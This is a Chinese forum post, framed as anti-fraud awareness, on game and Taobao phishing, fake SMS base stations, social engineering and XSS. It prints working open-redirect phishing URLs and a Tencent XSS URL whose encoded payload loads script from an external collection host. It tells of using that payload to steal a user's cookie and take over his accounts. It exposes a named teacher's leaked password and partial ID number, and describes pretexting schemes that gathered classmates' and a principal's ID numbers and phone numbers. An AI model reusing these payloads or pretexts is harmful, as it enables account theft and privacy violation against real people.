我是如何防骗之提高安全意识&见识一下”世面“男女老少通杀

http://bbs.zc173.com/thread-428611-1-1.html

继上面的帖子 我来这里是来教大家提高安全意识的

呸呸呸！！！不是提高安全意识 是带大家见见“世面”

首先讲一下我身边发生的例子：
----------------------------------------------------万恶的分割线------------------------------------------------
1）、游戏钓鱼

今年三月份某一天，我同村的一个人来到我家问另一个人借1000
说要1000才能解冻结拿出钱来，然后再听到他是在某网站卖梦幻号，
钱冻结了要充钱进去解冻！！！大概的我也忘记了
Shit！！！Shit！！！Shit！！！
这不是骗子惯用的诈骗技巧么
遂问到网址，操起浏览器打开一看，fuck！！！这都什么年代了还有诺基亚，一看就知道是钓鱼网站




后台”中奖“的资料   

起因：梦幻西游不是有个直播卖号、游戏号评估、帮你开奖什么的。。。我朋友像卖号就上过一次直播，然后诈骗分子就联系你，给你一个交易平台（钓鱼网站），让你在上面交易。。。。然后就给我Fuck了
----------------------------------------------------万恶的分割线------------------------------------------------
2）、淘宝钓鱼

有不少女的总爱贪，跟店家砍价什么的，店家都会发一条链接给你，不良店家就因为你们贪便宜发送给你一条钓鱼链接



一 目前最流行的两种钓鱼，淘宝网官方已经处理，使用旺旺的同学注意安全
1 hxxp://dingyue.taobao.com/dispatcher.do?rs_type=shop&red_url=嵌入钓鱼链接（即跳转到钓鱼网站）
eg：
hxxp://dingyue.taobao.com/dispatcher.do?rs_type=shop&red_url=http://wxgww101.auvtoin.com/fwxdr10/tb1.asp?IDC=2157

2 http://member1.taobao.com/member/loginByIm.do?&errurl=加上阿里论坛图片上传的bug估计T_T
http://member1.taobao.com/member/loginByIm.do?&errurl=http://forum.alisoft.%63om/attachments//Mon_1006/485_2925794_a83e26d59e64804.jpg?2_dc9110c6513f57c2


像这种怎么防护了？？？ 看一下你浏览器上面的网址是不是淘宝就可以 即 http://www.taobao.com/ 或者 http://XXXX.taobao.com/
----------------------------------------------------万恶的分割线------------------------------------------------
再说一个你们能遇到的或者说经常遇到的：

有没有遇到过 QQ群突然某个人发出：兼职打字一天多少钱 什么之类的
这很可能是你的数据泄露了（密码泄露、常用密码泄露）、或者是你的密码太过于简单

这里看看我的社工库（即收集各种泄露数据合集）查到我老师的一些资料、及密码：


163邮箱 126邮箱 qq邮箱均是同一个密码
很显然，他的常用密码就是： bingbing0420
他的身份证是44018319XXXXXX
常用密码虽好记，但我一旦获取你的一个常用密码即可以登录你的众多账号
危害极大

----------------------------------------------------万恶的分割线------------------------------------------------


因为没写过类似的帖子 所以我就找一些案例跟大家讲
主要讲围绕我们身边的：伪基站、社会工程学（又称：社交工程学）“我们"一般称为社工、钓鱼



1)、伪基站

“伪基站”即假基站，设备一般由主机和笔记本电脑组成，通过短信群发器、短信发信机等相关设备能够搜取以其为中心、一定半径范围内的手机卡信息，通过伪装成运营商的基站，冒用他人手机号码强行向用户手机发送诈骗、广告推销等短信息。

2014年以来，中央宣传部、中央网信办、最高法、最高检、公安部、工信部、安全部、工商总局、质检总局等9部门在全国范围内部署开展打击整治专项行动，严打非法生产、销售和使用“伪基站”设备的违法犯罪活动。

----------------------------------------------------万恶的分割线------------------------------------------------


他们能伪造任何号码给你发短信 即10086、10010、银行的号码、支付宝的号码 等等。。。

例子：
0x001 起因
妹纸约我去后海喝咖啡，刚刚下车到了步行街，手机duang的一声


0x002 疑惑后的恍然..
打码范围是正常10086发给我的，是昨天家里人加进来短号了。下面一条是基站发给我的

刚开始我看到10086我是相信这条短信的。号码确实来自10086。疑惑的是10086换了一个域名？

官方：www.10086.cn

钓鱼站：www.10086xxx.com

我就顿时大悟，原来这片地区有人用伪基站。

下面科普一下伪基站。。。

“伪基站”即假基站，设备一般由主机和笔记本电脑组成，通过短信群发器、短信发信机等相关设备能够搜取以其为中心、一定半径范围内的手机卡信息，通过伪装成运营商的基站，冒用他人手机号码强行向用户手机发送诈骗、广告推销等短信息。


2014年以来，中央宣传部、中央网信办、最高法、最高检、公安部、工信部、安全部、工商总局、质检总局等9部门在全国范围内部署开展打击整治专项行动，严打非法生产、销售和使用“伪基站”设备的违法犯罪活动。

-----------------------------------------------------------------------------万恶的分割线------------------------------------------------

个人愚见：就类似于DNS劫持，把你手机的信号劫持去伪基站的信号，然后就发送信息给你

0x003 查明真相
急忙回到家中，打开电脑。。输入10086xx.com


看到以下↓




我随便输入一个11位的号码（如18888888888）。就提示182.5元，脚指头一猜就知道有问题...

钓鱼网站，呵呵，有点意思，钓我头上来了。

打开煤气点支烟，冷静了一下，心中已经有了思路！

钓鱼站一般都是很水的，很少看到很严谨的钓鱼站。。。一般都是其他的功能转去真正的10086

然后敏感功能才是不会转跳的，我就尝试了一下，点充值之类的，果然都转去10086.cn


那么能突破的地方就是不会转跳的兑换人民币功能了

如上图有一个直接兑换...好吧，兑换人民币去咯

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~过程略过~~~~~~~~~~~~~~~~~~~~~~~~~
钓鱼网站后台信息 ：


恐怖嘛？？？？  你以为10086发出来的信息就靠谱？？
看看钓了多少条信息


说到短信大家肯定收了不少类似于下图

下面那条是教你如何优雅反击诈骗[s:61]
像这种一般是

10086短信请认证域名：www.10086.cn、gd.10086.cn（gd为广东简写）

附上案例链接&别的案例：
1)、约会的时候被钓鱼了，怒斩伪基站  
http://blackbap.org/thread-7702-1-1.html
2)、连环套：欺诈木马伪基站+伪10086让人防不胜防
http://www.freebuf.com/articles/96246.html
3)、网络黑产报告揭网络诈骗趋势社工欺诈被曝光
http://hs.446hfcc.com/ceoterhtxm/1304.html

-----------------------------------------------------------邪恶分割线-------------------------------------------------------

2)、社会工程学（社工）俗一点的理解就是-----套路+欺骗（个人愚见）

社会工程学攻击是一种通过对被攻击者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱所采取的诸如欺骗、伤害等危害手段，获取自身利益的手法。黑客社会工程学攻击则是将黑客入侵攻击手段进行了最大化，不仅能够利用系统的弱点进行入侵，还能通过人性的弱点进行入侵，当黑客攻击与社会工程学攻击融为一体时，将根本不存在所谓安全的系统。

这里我推荐一个我挺喜欢的电影：《我是谁：没有绝对安全的系统》

-----------------------------------------------------------邪恶分割线-------------------------------------------------------

这里我找到了一个有趣的例子：

大神请略过这个毫无技术含量的帖子。
核心技术就是              “敢做就能赢”---《我是谁：没有绝对安全的系统》
我们学校高一分文理科到现在有四个月了好像，他是我分班之前的同学，叫她D。
我是一个内向的人，从来不向别人要QQ号，分班之后我不知道他分到了几班。依稀记得好像是14班。
我已经试过了，可惜我是一个纯白，果断放弃了入侵学校网站的想法，况且高中不比大学，里面也不太有可能会有学籍资料神马的。
于是打开QQ。加群。搜索关键字“学校名称 14”，根据群创建的时间，找到了一个，不知道D有没有加群。
进群之后，马上打开群成员。。。好吧，她没有加群。
那怎么办，百度“学校名称 名字”，，一想就知道没啥结果。
于是我想，，到底是不是14班。
来到14班。看到原班的一个同学，于是发生如下对话。
“嘿，A，你在这抓”
。。。。。。。。。省略一对闲聊
然后不经意问。
“14班有哪些我们原班的哦”
“嗯，有，我还有B C，还有，，好像还有一个女的”
“D？”
“不是，D是15班的”
好吧。。又扯了一会就走了，原来她是15班的。
QQ群搜索“学校名称 15”
还是确定是哪一个之后加入。
然而并没有看到她的名字。怎么办怎么办！我可是一个没有社工库的人啊！
于是，我萌发了一个大胆的想法。
也就是这个灵机一动，我最后拿到了包括她在内的整个15班的人的详细资料。
晚一下课，来到15班.
同学！请叫一下你们班长！
班长出来了。
于是我变身成了一个学生会的成员。
“你是班长对吧，那个你按照这个格式叫你们班每列第一个同学用一张纸依次填一下”
“为啥？”
”学生会那群人要做个啥子统计哦“
”哦，好嘛“
”那我好久过来拿。我明天早上一早就要交过去“
“九点五十嘛”
纳尼！九点五十！我还在上自习啊！我又不是学生会的！
哎，我只能装作很忙的样子自言自语，，
”九点五十，，，，，九点五十。。。。我还要去高三“
”这样嘛，你把它填完之后放到讲桌上，下晚自习之后我自己来拿嘛“
”要得嘛“
于是..........


就这样。。。。15班一个班的人的如下资料到手了
姓名 身份证号 家长电话 自己电话 当然还有最重要的QQ
得到D QQ之后我不能急啊，先稳住，去空间看看。。。已经有了D这么多资料慢慢来，先了解他。
结果，，她有男朋友了.......



这帖子写得很粗糙，省略了很多，毕竟我只是水贴。我只是想说，，，敢做就能赢。高中不比大学，这是很小的圈子，当时很怕被学校发现，，，


----------------------------------------------------------------邪恶分割线--------------------------------------------------
身份证什么的一应俱全  我在某大某职待过也观察过此方法是绝对可行的，
（社工者）学生→敲门叫班长→将写好的纸给班长→提要求→班长在讲台宣布（要求）→纸传下去→（被欺骗者）学生写下自己资料→
提交回给（社工者）学生

整个过程简直是顺理成章，可能有人在想 要是他找老师认证勒？你是吃饱撑着？？？问老师，你要我身份证信息干嘛
学生的心理就是老师不找我就已经万事大吉~~~~~~~~
班长一般不会问要来干嘛 ，只要你道理说得过去


再来一个案例：

+++++++++++++++++++++++++++这居然又是分割线++++++++++++++++++++++++

怎么说呢，我觉得社工的核心思想就只有一个--敢做就能赢
其实，那些越觉得你不敢的人越好社工，比如说今天的主人公，我的学校，堂堂省重点高中的校长。
这个校长平时管的很严，甚是不得民心，于是便有了这次不怕死的社工。当然，这不是我最终的目标，下个月我会继续社工我们当地教育局的局长大人。
好了不多说，进入正题。（为避免一些无法挽回的问题，社工中我用到的一切东西都已销毁，包括最后得到的资料）

+++++++++++++++++++++++++++这居然又是分割线++++++++++++++++++++++++

  这是一个月黑风高的早晨！我静悄悄的，静悄悄的，带开了一张纸。其实我只想写一下社工的大致思路然后实施。。再然后，就有了这篇文章。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

作为省重点的校长，多少都有点虚荣心之类的，而以采访为名不仅满足他又名正言顺。当然，思路我就不单独写了，有兴趣的各位可以看完之后自行总结。


这是一个月黑风高的下午，我来到了校长办公室

好吧，我承认我懒了，本满怀信心想详细的写出来，结果，我还是大概说一下吧。
所以你有没有发现，到现在为止我一直在水。



找到校长以后，我告诉他我想做一个网站，大概就是关于我们本地几所较好高中的学校领导人的采访。
校长知道后十分高兴啊，这可是chu ming的好时机啊！
于是欣然答应。
于是我们约好了一个时间来一次深交！！！

在“采访”中，我问了如下的一些问题。
“作为省重点校长，请问你对本校的教育理念是什么？”   （省虐他作秀的话）
“作为省重点校长，请问你对现今中国教育有哪些看法”
“那你对现在中国教育有什么提议吗”
“你觉得本校有哪些还值得改进的事”
“你对本校校风有何看法”
“你对学校老师有哪些基本要求，或有什么特殊管理方法”
“你觉得本校有可能会在十年之内成为全国重点中学吗”

我相信各黑阔对以上谈话已近看出来了，，，扯淡！！！！
接着，关键的地方来了。
“依你的年龄来看在你们那个年代生活应该十分不容易，而你又成为一枝独秀当上了本校校长（我恶心！）想必一定经历了一些事情，不知道可否给我们讲一下你奋斗的经历和艰苦岁月”
于是乎，他自我沉醉的给我讲了他的奋斗史！就这样，一大批资料到手了！这个地方的灵感来自于网上某大神对某伦的社工，百度一下 黑客 入.侵大家会看到连他妈他爸的经历2都出来了

后来又是促膝长谈。
结束后，我告诉他让他帮忙在网上注册一下。
打开提前准备的一个破网站！让他注册一下，我问我这是什么为什么注册，我告诉他是注册一个账号，我说的很懵懂，估计是放不下面子也没再继续问。
再于是乎，等我晚上回到家，电话家庭住址身份证号神马的已经在邮箱了。
[s:124] 等等，有人来敲门了。
“有人吗？我查水表！”

+++++++++++++++++++++++++++这居然又是分割线++++++++++++++++++++++++

社工案例太多我就不一一例举  需要看更多有意思的 可以在下面评论&站内联系

案例链接：
1)、为了一个人，社下一个班。结果..........
http://blackbap.org/thread-8152-1-3.html
2)、对本地省重点校长的实地社工
http://blackbap.org/thread-8193-1-1.html




3)、xss攻击
什么是XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

XSS攻击的危害包括
1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

----------------------------------------------------------------邪恶分割线--------------------------------------------------
某“黑客”发来一个URL
地址是这样的：
http://navs.map.qq.com/?type=marker&isopeninfowin=1&markertype=1&pointx=116.342763&pointy=39.892326&name=111%253Cim%5Cg%20src%3Dx%20on%5Cerr%5Cor%3De%5Cval%28at%5Cob%28%2527%27cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzLmhhY2ttYWxsLmNuL2lxM1ZnMj8xNDU0MjQ4MDU2Jw%27%253D%253D%2527%29%29%253E&addr=111
当时也没想那么多，懒得去转换编码看是什么地址了，其实猜到可能是腾讯XSS，果不其然。

what？可怕！！黑客，绝对是黑客。谢谢黑客提供一个腾讯XSS给我，呵呵，至于为什么？你们懂得。
既然得知了URL地址，我就知道触发地址在哪里了，先解码吧。，看起来是经过UrlEncod编码和Base64编码后的地址
而且现在的腾讯XSS都需要经过编码以后才能成功利用（个人挖掘多个腾讯XSS的经验，如有误请在下面指出）

可以看到图中括号中的代码就是经过Base64编码后的xss payload了。也就是攻击代码或者说是收信地址。
为了防止小部分新手看不懂，我再还原一下！

那么我现在只需要把这个xss payload替换成我的以后再转换编码就可以了
也就是：http://navs.map.qq.com/?type=marker&isopeninfowin=1&markertype=1&pointx=116.342763&pointy=39.892326&name=111%253Cim%5Cg%20src%3Dx%20on%5Cerr%5Cor%3De%5Cval%28at%5Cob%28%2527'cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vd2VieHNzLmNuLzZvMGo4az8xNDU0MjczNTg1Jw'%253D%253D%2527%29%29%253E&addr=111


我自己点开一下看下平台收信

那么XSS已经挖掘出来了，我就算了吗？别忘了，我是95zz 。我让他点开我的链接，他误以为还是他之前发的那个，因为经过编码以后大致都一样

成功拿到他的cookie，这里就结束了吗？别忘了，我是95zz
这里大家都知道现在腾讯的邮箱/空间/个人中心的验证方式和业务中心、会员中心等验证方式不同了。也就是说你即使有skey有进入不了空间
别慌，我们看下他的TSRC（腾讯安全应急响应中心）

黑客，绝对是黑客。随便看一个详情。


黑客还挖过QQ群的XSS。友情提示：tsrc和QQ空间等的验证方式一样。不是95zz进不了
最后的反击↓

好了，就玩到这里吧。人不犯我我不犯人，人若犯我礼让三分。人再犯我斩草除根。

----------------------------------------------------------------邪恶分割线--------------------------------------------------
图中就是黑客利用腾讯的XSS漏洞进行攻击，并上了别人的QQ，就是因为点了别人发来的一条链接
你就上钩了



链接：
1)、黑客的战书2 腾讯XSS被黑与反黑

http://blackbap.org/thread-8012-1-1.html
2)、某企鹅XSS指哪打哪,已日上百黑阔
http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=6274&highlight=XSS



===========================================================================
生活防骗小技巧：
有人问你借钱，借钱可以请电话确认。（不管什么原因，有时候诈骗的会说没话费，你帮他充个话费又值多少钱）
问你要某账号密码，请电话确认。
没有无缘无故的馅饼。

查查找找又忙了一下午的时间，我希望你们能提高一下安全意识

再提醒：骗子不会拿网上已经”烂“了的方法骗你，骗子会变通，你也要会变通！
遇到钱的问题请打电话确认、遇到钱的问题请打电话确认、遇到钱的问题请打电话确认
没有无缘无故的馅饼、没有无缘无故的馅饼、没有无缘无故的馅饼


还需要加入什么请联系我，，，提高增城人安全意识我愿尽绵薄之力
其实防骗只有那么一小段段~~~~~

抛砖引玉，如果你被骗过，请在评论里写我是如何被骗，被骗经过，我将你的经历置顶。。。防骗你我有责











排版乱不挂我 东西太多

我有梦幻号卖哇。一直摆

[s:78]太长  直接拉到低看评论

不想看了[s:62]

看完了，get

这里居然又是分割线
.............................................................................................................................................................................................................

[s:126]

[s:117]

[s:117]

[s:117]